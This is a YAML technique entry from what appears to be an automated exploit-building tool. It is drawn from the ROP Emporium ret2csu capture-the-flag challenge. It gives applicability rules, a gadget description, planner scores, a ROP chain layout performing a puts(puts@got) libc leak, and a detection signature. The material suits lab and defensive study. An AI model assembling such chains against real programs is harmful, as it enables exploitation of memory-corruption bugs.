-author: Gregory Epp
-source: https://ropemporium.com/challenge/ret2csu.html
-
-rules:
-  - id: app_ret2csu_v2
-    head: [applicable, ret2csu_v2]
-    conditions:
-      - [fact, vuln, sof]
-      - [fact, nx, true]
-      - [match, gadget, 0, csu]
-
-kb:
-  - id: ret2csu_v2_001
-    technique: ret2csu_v2
-    description: >
-      __libc_csu_init universal gadget populates rdx/rsi/rdi in
-      gadget-sparse binaries; the popper and mov gadgets enable
-      controlled multi-argument calls.
-    chain: [csu_popper, csu_mov, target_fn]
-    unlocks: [libc_base]
-    success_rate: 0.75
-
-mcts:
-  requires: []
-  provides: [libc_base]
-  terminal: false
-  success: 0.70
-
-priors: [14, 6]
-
-# The assembly order, resolved by lictor's builder from the facts: the
-# csu popper sets rbx=0, rbp=1, r12=fn@got, r13=arg2, r14=arg1, r15=arg0
-# then csu_mov issues mov rdx,r13 / mov rsi,r14 / mov edi,r15d / call
-# [r12+rbx*8]; 7 junk qwords fall through the second pop; the chain
-# ends on the technique that follows (leak:main keeps the process
-# alive). The arg values here are the canonical puts(puts@got) leak;
-# an operator edits the consts for their call.
-build:
-  technique: ret2csu_v2
-  layout:
-    - [padding, measured_offset]
-    - [chain, "gadget:csu_popper", "const:0", "const:1", "got_addr:puts",
-       "const:8", "got_addr:puts", "const:1", "gadget:csu_mov",
-       "const:0", "const:0", "const:0", "const:0", "const:0", "const:0", "const:0"]
-
-
-# The defender side (the corpus read backwards): what this technique
-# looks like to the defenses. Armored by check 9.
-detection:
-  - channel: crash
-    signature: "call through __libc_csu_init gadget territory on a gadget-poor binary"
-    note: "the csu chain issuing calls"